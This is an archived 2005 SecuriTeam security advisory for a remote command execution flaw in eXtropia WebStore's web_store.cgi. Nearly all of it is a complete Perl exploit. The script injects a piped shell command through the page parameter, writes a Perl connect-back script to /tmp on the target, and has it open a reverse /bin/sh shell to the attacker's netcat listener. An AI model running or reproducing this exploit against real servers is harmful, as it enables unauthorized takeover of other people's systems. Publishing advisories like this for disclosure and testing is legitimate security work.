[EXPL] eXtropia WebStore Remote Command Execution (web_store.cgi)

From: SecuriTeam (support_at_securiteam.com)
Date: 06/20/05

  • Next message: SecuriTeam: "[UNIX] Trac Fileupload/download Vulnerability"
    To: list@securiteam.com
    Date: 20 Jun 2005 10:11:15 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      eXtropia WebStore Remote Command Execution (web_store.cgi)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.extropia.com/scripts/web_store.html> WebStore merges both
    the Electronic Outlet HTML and Database versions and adds all new routines
    for error handling, order processing, encrypted mailing, frames,
    Javascript and VBscript and other goodies."

    WebStore is vulnerable to a remote command execution, exploiting this
    vulnerability allows malicious remote attacker to execute arbitrary code
    on vulnerable system, the following exploit code can be used to test your
    system for the mentioned vulnerability.

    DETAILS

    #!/usr/bin/perl -w
    #
    #**********************************************
    # Remote Command Execution Vulnerability In Web_store.cgi *
    # *
    # [SegmentationFault Group] *
    # *
    # *
    # Greetz to : Xsupr3mo - failed - Status-x - Stealh - P3S4D3L0 *
    # Greetz to : berhooz - nima - ehsan - Unknown OutLaw eutanasia *
    # www.ashiyane.com *
    # *
    #**********************************************
    #ok setp by setp to work : * *
    #[*] start exploit * If connect back shell not found: maybe :*
    #[*] run in your system: nc -l -vv -p 2975 * you do not have perm to write
    in /tmp *
    #[*] starting connect back on 127.0.0.1 :2975 * Shell not vulnerable *
    #[*] DONE! * test and put in /$path/hints.pl?|cd /tmp*
    #[*] Look netcat windows * other path that u know dont have perm *
    # * *
    #**********************************************
    ###############################################
    use IO::Socket;

    print "*********************************\n";
    print "\tRemote Command Execution Vulnerability in web_store.cgi\n ";
    print "\t\t-=[ SegmentationFault Group ]=-\n";
    print "\t\tcode writen by sun-os [ActionSpider]\n\n";
    print "\tGerttz to : Xsupr3mo - failed - Status-x - Stealh";
    print "\n\tand : Behrooz - nima - ehsan www.ashiyane.com\n";
    print "*********************************\n\n";

    print "enter hostname or ip : \n";
    chomp($server=<STDIN>);

    print "port: (default: 80)\n";
    chomp($port=<STDIN>);
    $port=80 if ($port =~/\D/ );
    $port=80 if ($port eq "" );

    print "path: (???/web_store.cgi?)\n";
    chomp($path=<STDIN>);

    print "your ip (for reverse connect): \n";
    chomp($ip=<STDIN>);

    print "your port (for reverse connect): \n";
    chomp($reverse=<STDIN>);

    print "ok Remote Command Execution now Start";
    print "|+| try to exploiting...\n";

    $string="/$path/web_store.cgi?page=.html|cd /tmp;echo ".q{use
    Socket;$execute= 'echo "`uname -a`";echo
    "`id`";/bin/sh';$target=$ARGV[0];$port=$ARGV[1];$iaddr=inet_aton($target)
    || die("Error: $!\n");$paddr=sockaddr_in($port, $iaddr) || die("Error:
    $!\n");$proto=getprotobyname('tcp');socket(SOCKET, PF_INET, SOCK_STREAM,
    $proto) || die("Error: $!\n");connect(SOCKET, $paddr) || die("Error:
    $!\n");open(STDIN, ">&SOCKET");open(STDOUT, ">&SOCKET");open(STDERR,
    ">&SOCKET");system($execute);close(STDIN)}." >>dc.pl;perl dc.pl $ip
    $reverse|";

    print "|+| OK! \n";
    print "|+| NOW, run in your system: nc -l -vv -p $reverse\n";
    print "|+| starting connect back on $ip :$reverse\n";
    print "|+| DONE!\n";
    print "|+| Look netcat windows\n\n";
    $socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port,
    Proto => tcp)
    or die;

    print $socket "POST $path HTTP/1.1\n";
    print $socket "Host: $server\n";
    print $socket "Accept: */*\n";
    print $socket "User-Agent: blackbox\n";
    print $socket "Pragma: no-cache\n";
    print $socket "Cache-Control: no-cache\n";
    print $socket "Connection: close\n\n";

    print "have nice shell...";

    ADDITIONAL INFORMATION

    The information has been provided by SegmentationFault Group.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Trac Fileupload/download Vulnerability"

    Relevant Pages

    • [NEWS] Multi Vendor fd_set Structure Bitmap Array Index Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... fd_set is defined as a bitmask array with a socket number as an array ... One process per client model s for every client ... Model 1 is safe from this kind of vulnerability ...
      (Securiteam)
    • [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by default. ... permissions and thus granted all local users the privilege to execute the ...
      (Securiteam)
    • [UNIX] SCO Multiple Local Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges. ...
      (Securiteam)
    • [NT] Microsoft Word 6.0/95 Document Converter Buffer Overflow (MS04-041)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WordPad is "a word processing application that uses the MFC rich edit ... Remote exploitation of a buffer overflow vulnerability in Microsoft ... Microsoft Word format files into the Rich Text Format natively handled by ...
      (Securiteam)
    • [UNIX] Tikiwiki Command Injection and Arbitrary File Exposure Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Two security vulnerabilities have been recently discovered in Tikiwiki, ... Remote exploitation of an input validation vulnerability in Tikiwiki ... allows attackers to gain access to arbitrary files on the vulnerable ...
      (Securiteam)